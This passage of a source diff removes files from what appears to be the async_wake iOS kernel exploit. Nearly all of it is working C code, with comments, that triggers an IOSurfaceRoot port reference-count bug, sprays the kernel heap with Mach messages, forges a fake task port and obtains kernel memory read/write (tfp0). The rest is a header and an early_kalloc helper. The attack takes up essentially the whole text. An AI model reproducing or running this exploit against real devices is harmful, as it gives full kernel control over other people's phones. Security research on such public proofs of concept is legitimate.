CFDictionaryRef matching);
|
||||
|
||||
CFMutableDictionaryRef
|
||||
IOServiceMatching(
|
||||
const char* name);
|
||||
|
||||
kern_return_t
|
||||
IOServiceOpen(
|
||||
io_service_t service,
|
||||
task_port_t owningTask,
|
||||
uint32_t type,
|
||||
io_connect_t* connect );
|
||||
|
||||
|
||||
/******** end extra headers ***************/
|
||||
|
||||
mach_port_t user_client = MACH_PORT_NULL;
|
||||
|
||||
// make_dangling will drop an extra reference on port
|
||||
// this is the actual bug:
|
||||
void make_dangling(mach_port_t port) {
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
uint32_t inputScalarCnt = 0;
|
||||
|
||||
char inputStruct[4096];
|
||||
size_t inputStructCnt = 0x18;
|
||||
|
||||
uint64_t* ivals = (uint64_t*)inputStruct;
|
||||
ivals[0] = 1;
|
||||
ivals[1] = 2;
|
||||
ivals[2] = 3;
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
uint64_t reference[8] = {0};
|
||||
uint32_t referenceCnt = 1;
|
||||
|
||||
for (int i = 0; i < 2; i++) {
|
||||
err = IOConnectCallAsyncMethod(
|
||||
user_client,
|
||||
17, // s_set_surface_notify
|
||||
port,
|
||||
reference,
|
||||
referenceCnt,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
printf("%x\n", err);
|
||||
};
|
||||
|
||||
err = IOConnectCallMethod(
|
||||
user_client,
|
||||
18, // s_remove_surface_notify
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
printf("%x\n", err);
|
||||
}
|
||||
|
||||
static void prepare_user_client() {
|
||||
kern_return_t err;
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf(" [-] unable to find service\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf(" [-] unable to get user client connection\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("got user client: 0x%x\n", user_client);
|
||||
}
|
||||
|
||||
mach_port_t* prepare_ports(int n_ports) {
|
||||
mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t));
|
||||
for (int i = 0; i < n_ports; i++) {
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] failed to allocate port\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
return ports;
|
||||
}
|
||||
|
||||
void free_ports(mach_port_t* ports, int n_ports) {
|
||||
for (int i = 0; i < n_ports; i++) {
|
||||
mach_port_t port = ports[i];
|
||||
if (port == MACH_PORT_NULL) {
|
||||
continue;
|
||||
}
|
||||
|
||||
mach_port_destroy(mach_task_self(), port);
|
||||
}
|
||||
}
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size) {
|
||||
// allocate a port to send the messages to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] failed to allocate port\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_limits_t limits = {0};
|
||||
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
|
||||
err = mach_port_set_attributes(mach_task_self(),
|
||||
q,
|
||||
MACH_PORT_LIMITS_INFO,
|
||||
(mach_port_info_t)&limits,
|
||||
MACH_PORT_LIMITS_INFO_COUNT);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] failed to increase queue limit\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, sizeof(struct simple_msg));
|
||||
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
|
||||
|
||||
for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
/*
|
||||
for the given mach message size, how big will the ipc_kmsg structure be?
|
||||
|
||||
This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out!
|
||||
|
||||
The size is overallocated so that if the message was sent from a 32-bit process
|
||||
they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which
|
||||
means that for each descriptor they would need an extra 4 bytes of space for the
|
||||
larger pointer. Except at this point they have no idea what's in the message
|
||||
so they assume the worst case for all messages. This leads to approximately a 30%
|
||||
overhead in the allocation size.
|
||||
|
||||
The allocated size also contains space for the maximum trailer plus the ipc_kmsg header.
|
||||
|
||||
When the message is actually written into this buffer it's aligned to the end
|
||||
*/
|
||||
static int message_size_for_kalloc_size(int kalloc_size) {
|
||||
return ((3*kalloc_size)/4) - 0x74;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
build a fake task port object to get an arbitrary read
|
||||
|
||||
I am basing this on the techniques used in Yalu 10.2 released by
|
||||
@qwertyoruiopz and @marcograss (and documented by Johnathan Levin
|
||||
in *OS Internals Volume III)
|
||||
|
||||
There are a few difference here. We have a kernel memory disclosure bug so
|
||||
we know the address the dangling port pointer points to. This means we don't need
|
||||
to point the task to userspace to get a "what+where" primitive since we can just
|
||||
put whatever recursive structure we require in the object which will replace
|
||||
the free'd port.
|
||||
|
||||
We can also leverage the fact that we have a dangling mach port pointer
|
||||
to also write to a small area of the dangling port (via mach_port_set_context)
|
||||
|
||||
If we build the replacement object (with the fake struct task)
|
||||
correctly we can set it up such that by calling mach_port_set_context we can control
|
||||
where the arbitrary read will read from.
|
||||
|
||||
this same method is used again a second time once the arbitrary read works so that the vm_map
|
||||
and receiver can be set correctly turning this into a fake kernel task port.
|
||||
*/
|
||||
|
||||
static uint32_t IO_BITS_ACTIVE = 0x80000000;
|
||||
static uint32_t IKOT_TASK = 2;
|
||||
static uint32_t IKOT_NONE = 0;
|
||||
|
||||
uint64_t second_port_initial_context = 0x1024204110244201;
|
||||
|
||||
uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr) {
|
||||
uint8_t* body = malloc(message_body_size);
|
||||
memset(body, 0, message_body_size);
|
||||
|
||||
uint32_t port_page_offset = dangling_port_address & 0xfff;
|
||||
|
||||
// structure required for the first fake port:
|
||||
uint8_t* fake_port = body + (port_page_offset - message_body_offset);
|
||||
|
||||
|
||||
*(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
|
||||
*(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
|
||||
*(uint32_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
|
||||
*(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
|
||||
*(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;
|
||||
|
||||
*context_ptr = (uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));
|
||||
|
||||
|
||||
// set the kobject pointer such that task->bsd_info reads from ip_context:
|
||||
int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);
|
||||
|
||||
uint64_t fake_task_address = dangling_port_address + fake_task_offset;
|
||||
*(uint64_t*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;
|
||||
|
||||
|
||||
// when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
|
||||
// pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!
|
||||
|
||||
if (fake_port + fake_task_offset < body) {
|
||||
printf("the maths is wrong somewhere, fake task doesn't fit in message\n");
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
uint8_t* fake_task = fake_port + fake_task_offset;
|
||||
|
||||
// set the ref_count field of the fake task:
|
||||
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
|
||||
|
||||
// make sure the task is active
|
||||
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
|
||||
|
||||
// set the vm_map of the fake task:
|
||||
*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
|
||||
|
||||
// set the task lock type of the fake task's lock:
|
||||
*(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
|
||||
return body;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer
|
||||
*
|
||||
* use that tfp0 to build a safer one such that we can safely free everything this process created and exit
|
||||
* without leaking memory
|
||||
*/
|
||||
mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space) {
|
||||
kern_return_t err;
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to allocate port\n");
|
||||
}
|
||||
|
||||
// build a fake struct task for the kernel task:
|
||||
//uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000);
|
||||
uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000);
|
||||
printf("fake_kernel_task_kaddr: %llx\n", fake_kernel_task_kaddr);
|
||||
|
||||
|
||||
void* fake_kernel_task = malloc(0x1000);
|
||||
memset(fake_kernel_task, 0, 0x1000);
|
||||
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
|
||||
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
|
||||
*(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
|
||||
*(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
|
||||
kmemcpy(fake_kernel_task_kaddr, (uint64_t) fake_kernel_task, 0x1000);
|
||||
free(fake_kernel_task);
|
||||
|
||||
uint32_t fake_task_refs = rk32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
|
||||
printf("read fake_task_refs: %x\n", fake_task_refs);
|
||||
if (fake_task_refs != 0xd00d) {
|
||||
printf("read back value didn't match...\n");
|
||||
}
|
||||
|
||||
// now make the changes to the port object to make it a task port:
|
||||
uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK);
|
||||
wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);
|
||||
wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);
|
||||
wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);
|
||||
wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr);
|
||||
|
||||
// swap our receive right for a send right:
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = tfp0 >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
uint32_t bits = rk32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry
|
||||
|
||||
#define IE_BITS_SEND (1<<16)
|
||||
#define IE_BITS_RECEIVE (1<<17)
|
||||
|
||||
bits &= (~IE_BITS_RECEIVE);
|
||||
bits |= IE_BITS_SEND;
|
||||
|
||||
wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
|
||||
|
||||
printf("about to test new tfp0\n");
|
||||
|
||||
vm_offset_t data_out = 0;
|
||||
mach_msg_type_number_t out_size = 0;
|
||||
err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err));
|
||||
sleep(3);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("kernel read via second tfp0 port worked?\n");
|
||||
printf("0x%016llx\n", *(uint64_t*)data_out);
|
||||
printf("0x%016llx\n", *(uint64_t*)(data_out+8));
|
||||
printf("0x%016llx\n", *(uint64_t*)(data_out+0x10));
|
||||
printf("0x%016llx\n", *(uint64_t*)(data_out+0x18));
|
||||
|
||||
return tfp0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
// task_self_addr points to the struct ipc_port for our task port
|
||||
uint64_t find_kernel_vm_map(uint64_t task_self_addr) {
|
||||
uint64_t struct_task = rk64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
while (struct_task != 0) {
|
||||
uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
|
||||
|
||||
uint32_t pid = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
|
||||
|
||||
if (pid == 0) {
|
||||
uint64_t vm_map = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
|
||||
return vm_map;
|
||||
}
|
||||
|
||||
struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
|
||||
}
|
||||
|
||||
printf("unable to find kernel task...\n");
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
const uint64_t context_magic = 0x1214161800000000; // a random constant
|
||||
const uint64_t initial_context = 0x1020304015253545; // another random constant
|
||||
|
||||
mach_port_t get_kernel_memory_rw() {
|
||||
// offsets are required before we get r/w:
|
||||
offsets_init();
|
||||
|
||||
kern_return_t err;
|
||||
|
||||
uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
|
||||
uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t);
|
||||
uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;
|
||||
|
||||
printf("message size for kalloc.4096: %d\n", message_size_for_kalloc_size(4096));
|
||||
|
||||
prepare_user_client();
|
||||
|
||||
uint64_t task_self = task_self_addr();
|
||||
if (task_self == 0) {
|
||||
printf("unable to disclose address of our task port\n");
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
printf("our task port is at 0x%llx\n", task_self);
|
||||
|
||||
int n_pre_ports = 100000; //8000
|
||||
mach_port_t* pre_ports = prepare_ports(n_pre_ports);
|
||||
|
||||
// make a bunch of smaller allocations in a different zone which can be collected later:
|
||||
uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t);
|
||||
|
||||
uint8_t* smaller_body = malloc(smaller_body_size);
|
||||
memset(smaller_body, 'C', smaller_body_size);
|
||||
|
||||
const int n_smaller_ports = 600; // 150 MB
|
||||
mach_port_t smaller_ports[n_smaller_ports];
|
||||
for (int i = 0; i < n_smaller_ports; i++) {
|
||||
smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);
|
||||
}
|
||||
|
||||
// now find a suitable port
|
||||
// we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't
|
||||
// completely control all the data:
|
||||
// specifically we're targetting kalloc.4096 but the message body will only span
|
||||
// xxx448 -> xxxfbc so we want to make sure the port we target is within that range
|
||||
// actually, since we're also putting a fake task struct here and want
|
||||
// the task's bsd_info pointer to overlap with the ip_context field we need a stricter range
|
||||
|
||||
|
||||
int ports_to_test = 100;
|
||||
int base = n_pre_ports - 1000;
|
||||
|
||||
mach_port_t first_port = MACH_PORT_NULL;
|
||||
uint64_t first_port_address = 0;
|
||||
|
||||
for (int i = 0; i < ports_to_test; i++) {
|
||||
mach_port_t candidate_port = pre_ports[base+i];
|
||||
uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
uint64_t page_offset = candidate_address & 0xfff;
|
||||
if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need
|
||||
printf("found target port with suitable allocation page offset: 0x%016llx\n", candidate_address);
|
||||
pre_ports[base+i] = MACH_PORT_NULL;
|
||||
first_port = candidate_port;
|
||||
first_port_address = candidate_address;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (first_port == MACH_PORT_NULL) {
|
||||
printf("unable to find a candidate port with a suitable page offset\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
uint64_t* context_ptr = NULL;
|
||||
uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);
|
||||
printf("replacer_body_size: 0x%x\n", replacer_body_size);
|
||||
printf("message_body_offset: 0x%x\n", message_body_offset);
|
||||
|
||||
make_dangling(first_port);
|
||||
|
||||
free_ports(pre_ports, n_pre_ports);
|
||||
|
||||
// free the smaller ports, they will get gc'd later:
|
||||
for (int i = 0; i < n_smaller_ports; i++) {
|
||||
mach_port_destroy(mach_task_self(), smaller_ports[i]);
|
||||
}
|
||||
|
||||
|
||||
// now try to get that zone collected and reallocated as something controllable (kalloc.4096):
|
||||
|
||||
const int replacer_ports_limit = 200; // about 200 MB
|
||||
mach_port_t replacer_ports[replacer_ports_limit];
|
||||
memset(replacer_ports, 0, sizeof(replacer_ports));
|
||||
uint32_t i;
|
||||
for (i = 0; i < replacer_ports_limit; i++) {
|
||||
uint64_t context_val = (context_magic)|i;
|
||||
*context_ptr = context_val;
|
||||
replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
|
||||
|
||||
// we want the GC to actually finish, so go slow...
|
||||
pthread_yield_np();
|
||||
usleep(10000);
|
||||
printf("%d\n", i);
|
||||
}
|
||||
|
||||
|
||||
// find out which replacer port it was
|
||||
mach_port_context_t replacer_port_number = 0;
|
||||
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to get context: %d %s\n", err, mach_error_string(err));
|
||||
sleep(3);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
replacer_port_number &= 0xffffffff;
|
||||
if (replacer_port_number >= (uint64_t)replacer_ports_limit) {
|
||||
printf("suspicious context value, something's wrong %lx\n", replacer_port_number);
|
||||
sleep(3);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("got replaced with replacer port %ld\n", replacer_port_number);
|
||||
|
||||
prepare_rk_via_kmem_read_port(first_port);
|
||||
|
||||
uint64_t kernel_vm_map = find_kernel_vm_map(task_self);
|
||||
printf("found kernel vm_map: 0x%llx\n", kernel_vm_map);
|
||||
|
||||
|
||||
// now free first replacer and put a fake kernel task port there
|
||||
// we need to do this becase the first time around we don't know the address
|
||||
// of ipc_space_kernel which means we can't fake a port owned by the kernel
|
||||
free(replacer_message_body);
|
||||
replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
|
||||
|
||||
// free the first replacer
|
||||
mach_port_t replacer_port = replacer_ports[replacer_port_number];
|
||||
replacer_ports[replacer_port_number] = MACH_PORT_NULL;
|
||||
mach_port_destroy(mach_task_self(), replacer_port);
|
||||
|
||||
const int n_second_replacer_ports = 10;
|
||||
mach_port_t second_replacer_ports[n_second_replacer_ports];
|
||||
|
||||
for (int i = 0; i < n_second_replacer_ports; i++) {
|
||||
*context_ptr = i;
|
||||
second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
|
||||
}
|
||||
|
||||
// hopefully that worked the second time too!
|
||||
// check the context:
|
||||
|
||||
replacer_port_number = 0;
|
||||
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to get context: %d %s\n", err, mach_error_string(err));
|
||||
sleep(3);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
replacer_port_number &= 0xffffffff;
|
||||
if (replacer_port_number >= (uint64_t)n_second_replacer_ports) {
|
||||
printf("suspicious context value, something's wrong %lx\n", replacer_port_number);
|
||||
sleep(3);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("second time got replaced with replacer port %ld\n", replacer_port_number);
|
||||
|
||||
// clear up the original replacer ports:
|
||||
for (int i = 0; i < replacer_ports_limit; i++) {
|
||||
mach_port_destroy(mach_task_self(), replacer_ports[i]);
|
||||
}
|
||||
|
||||
// then clear up the second replacer ports (apart from the one in use)
|
||||
mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number];
|
||||
second_replacer_ports[replacer_port_number] = MACH_PORT_NULL;
|
||||
for (int i = 0; i < n_second_replacer_ports; i++) {
|
||||
mach_port_destroy(mach_task_self(), second_replacer_ports[i]);
|
||||
}
|
||||
|
||||
printf("will try to read from second port (fake kernel)\n");
|
||||
// try to read some kernel memory using the second port:
|
||||
vm_offset_t data_out = 0;
|
||||
mach_msg_type_number_t out_size = 0;
|
||||
err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err));
|
||||
sleep(3);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("kernel read via fake kernel task port worked?\n");
|
||||
printf("0x%016llx\n", *(uint64_t*)data_out);
|
||||
printf("0x%016llx\n", *(uint64_t*)(data_out+8));
|
||||
printf("0x%016llx\n", *(uint64_t*)(data_out+0x10));
|
||||
printf("0x%016llx\n", *(uint64_t*)(data_out+0x18));
|
||||
|
||||
prepare_rwk_via_tfp0(first_port);
|
||||
printf("about to build safer tfp0\n");
|
||||
|
||||
//early_kalloc(0x10000);
|
||||
//return 0;
|
||||
|
||||
mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel());
|
||||
prepare_rwk_via_tfp0(safer_tfp0);
|
||||
|
||||
printf("built safer tfp0\n");
|
||||
printf("about to clear up\n");
|
||||
|
||||
// can now clean everything up
|
||||
wk32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE);
|
||||
wk64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
|
||||
|
||||
// first port will soon point to freed memory, so neuter it:
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = first_port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
|
||||
// remove all rights
|
||||
wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
|
||||
|
||||
// clear the ipc_port port too
|
||||
wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);
|
||||
|
||||
mach_port_destroy(mach_task_self(), second_replacement_port);
|
||||
printf("cleared up\n");
|
||||
return safer_tfp0;
|
||||
}
|
||||
|
||||
|
||||
void async_wake_go() {
|
||||
mach_port_t tfp0 = get_kernel_memory_rw();
|
||||
printf("tfp0: %x\n", tfp0);
|
||||
return;
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
#ifndef COMMON_H
|
||||
#define COMMON_H
|
||||
|
||||
#include <stdint.h> // uint*_t
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)
|
||||
#ifdef __LP64__
|
||||
# define ADDR "0x%016llx"
|
||||
# define MACH_HEADER_MAGIC MH_MAGIC_64
|
||||
# define MACH_LC_SEGMENT LC_SEGMENT_64
|
||||
typedef struct mach_header_64 mach_hdr_t;
|
||||
typedef struct segment_command_64 mach_seg_t;
|
||||
typedef uint64_t kptr_t;
|
||||
#else
|
||||
# define ADDR "0x%08x"
|
||||
# define MACH_HEADER_MAGIC MH_MAGIC
|
||||
# define MACH_LC_SEGMENT LC_SEGMENT
|
||||
typedef struct mach_header mach_hdr_t;
|
||||
typedef struct segment_command mach_seg_t;
|
||||
typedef uint32_t kptr_t;
|
||||
#endif
|
||||
typedef struct load_command mach_lc_t;
|
||||
|
||||
#endif
|
||||
@@ -1,69 +0,0 @@
|
||||
//
|
||||
// early_kalloc.c
|
||||
// async_wake_ios
|
||||
//
|
||||
// Created by Ian Beer on 12/11/17.
|
||||
// Copyright © 2017 Ian Beer. All rights reserved.
|
||||
//
|
||||
|
||||
#include "early_kalloc.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "find_port.h"
|
||||
#include "kmem.h"
|
||||
#include "offsets.h"
|
||||
|
||||
extern int message_size_for_kalloc_size(int kalloc_size);
|
||||
|
||||
// get a kalloc allocation before we've got a kcall interface to just call it
|
||||
uint64_t early_kalloc(int size) {
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to allocate port\n");
|
||||
}
|
||||
|
||||
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, msg_size);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = port;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("early kalloc failed to send message\n");
|
||||
}
|
||||
|
||||
// find the message buffer:
|
||||
|
||||
uint64_t message_buffer = rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
|
||||
printf("message buffer: %llx\n", message_buffer);
|
||||
|
||||
